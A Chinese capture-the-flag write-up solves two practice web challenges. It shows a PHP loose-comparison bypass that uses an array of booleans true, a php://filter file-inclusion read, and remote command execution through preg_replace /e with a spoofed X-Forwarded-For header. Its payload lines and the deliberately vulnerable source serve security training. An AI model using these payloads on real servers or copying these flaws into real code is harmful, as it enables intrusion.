Lottery
打开靶场后发现加载缓慢,并提供了源码。该功能类似猜数字游戏,选对 7 个号码即可得到相应奖励。
注册后输入任意 7 个数字发现未中奖。尝试访问网站其他功能发现获取 flag 需要对应余额。
尝试使用抓包工具修改余额,但刷新页面后余额恢复原状,无法直接通过前端修改。
检查猜数字页面的 api.php 代码审计。核心逻辑中随机生成七位数字(random_win_nums),赋值给$win_number。判断传入数字与随机生成数字是否相等时使用了两个等号(==)进行弱类型比较。
代码如下
//部分代码
function random_num(){
do {
$byte = openssl_random_pseudo_bytes(10, $cstrong);
$num = ord($byte);
} while ($num >= 250);
if(!$cstrong){ response_error('server need be checked, tell admin'); }
$num /= 25;
return strval(floor($num));
}
function random_win_nums(){
$result = '';
for($i=0; $i<7; $i++){
$result .= random_num();
}
return $result;
}
function buy($req){
require_registered();
require_min_money(2);
$money = $_SESSION['money'];
$numbers = $req['numbers'];
$win_numbers = random_win_nums();
$same_count = 0;
for($i=0; $i<7; $i++){
if($numbers[$i] == $win_numbers[$i]){
$same_count++;
}
}
switch ($same_count) {
case 2: $prize = 5; break;
case 3: $prize = 20; break;
case 4: $prize = 300; break;
case 5: $prize = 1800; break;
case 6: $prize = 200000; break;
case 7: $prize = 5000000; break;
default: $prize = 0; break;
}
$money += $prize - 2;
$_SESSION['money'] = $money;
response(['status'=>'ok','numbers'=>$numbers, 'win_numbers'=>$win_numbers, 'money'=>$money, 'prize'=>$prize]);
}
利用 PHP 的弱类型比较特性,将 numbers 字段改为布尔值 true 数组。
直接将 numbers 字段改为 [true,true,true,true,true,true,true]
成功利用弱类型绕过验证获得奖金,最终拿到 flag。
ics-05
打开页面显示设备维护中心,点击链接发现只有特定页面可访问。查看源代码发现一个 href 链接。
修改参数为 index.php 回显 Ok,说明存在文件包含漏洞。读取文件使用伪协议。
php://filter/read=convert.base64-encode/resource=index.php
解密 base64 后观察代码。若 IP 为 127.0.0.1 则为管理员模式,且存在 preg_replace 方法。当 pattern 第一个参数的结尾包含/e 修正符时,第二个参数会被当做 PHP 代码执行。
修改 IP 为 admin,添加三个参数。
?pat=/heihei/e&rep=system('find+-name+flag')&sub=heihei
需要使用 + 置换空格。成功找到 flag.php,但 flag 不在页面渲染中显示。
?pat=/heihei/e&rep=system('cat+./s3chahahaDir/flag/flag.php')&sub=heihei
成功拿到 flag。
解密后的 index.php 代码
<?php error_reporting(0); @session_start(); posix_setuid(1000); ?>
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<meta name="renderer" content="webkit">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
<link rel="stylesheet" href="layui/css/layui.css" media="all">
<title>设备维护中心</title>
<meta charset="utf-8">
</head>
<body>
<ul>
<li><a href="?page=index">云平台设备维护中心</a></li>
</ul>
<fieldset>
<legend>设备列表</legend>
</fieldset>
<table></table>
<script type="text/html"> <!-- 这里的 checked 的状态只是演示 -->
<input type="checkbox" name="sex" value="{{d.id}}" lay-skin="switch" lay-text="开 | 关" lay-filter="checkDemo" {{ d.id==1 0003 ? 'checked' : '' }}>
</script>
<script src="layui/layui.js" charset="utf-8"></script>
<script> layui.use('table', function() { var table = layui.table, form = layui.form; table.render({ elem: '#test', url: '/somrthing.json', cellMinWidth: 80, cols: [ [ { type: 'numbers' }, { type: 'checkbox' }, { field: 'id', title: 'ID', width: 100, unresize: true, sort: true }, { field: 'name', title: '设备名', templet: '#nameTpl' }, { field: 'area', title: '区域' }, { field: 'status', title: '维护状态', minWidth: 120, sort: true }, { field: 'check', title: '设备开关', width: 85, templet: '#switchTpl', unresize: true } ] ], page: true }); }); </script>
<script> layui.use('element', function() { var element = layui.element; //导航的 hover 效果、二级菜单等功能,需要依赖 element 模块 //监听导航点击 element.on('nav(demo)', function(elem) { //console.log(elem) layer.msg(elem.text()); }); }); </script>
<?php $page = $_GET[page]; if (isset($page)) { if (ctype_alnum($page)) { ?> <br /><br /><br /><br /> <div> <p><?php echo $page; die();?></p> <br /><br /><br /><br /> <?php }else{ ?> <br /><br /><br /><br /> <div> <p> <?php if (strpos($page, 'input') > 0) { die(); } if (strpos($page, 'ta:text') > 0) { die(); } if (strpos($page, 'text') > 0) { die(); } if ($page === 'index.php') { die('Ok'); } include($page); die(); ?> </p> <br /><br /><br /><br /> <?php }} //方便的实现输入输出的功能,正在开发中的功能,只能内部人员测试 if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') { echo "<br >Welcome My Admin ! <br >"; $pattern = $_GET[pat]; $replacement = $_GET[rep]; $subject = $_GET[sub]; if (isset($pattern) && isset($replacement) && isset($subject)) { preg_replace($pattern, $replacement, $subject); }else{ die(); } } ?>
</body>
</html>
总结
本文通过攻防世界中的两个 Web 题目(Lottery 和 ics-05)演示了如何利用代码审计和漏洞挖掘技术获取 flag。在 Lottery 题目中,通过分析网站的猜数字游戏功能,发现使用 PHP 的弱类型比较漏洞,成功绕过验证并获取奖金和 flag。在 ics-05 题目中,通过修改 IP 地址和利用 PHP 的 preg_replace 函数执行系统命令,成功读取并解密 index.php 文件,最终获取 flag。


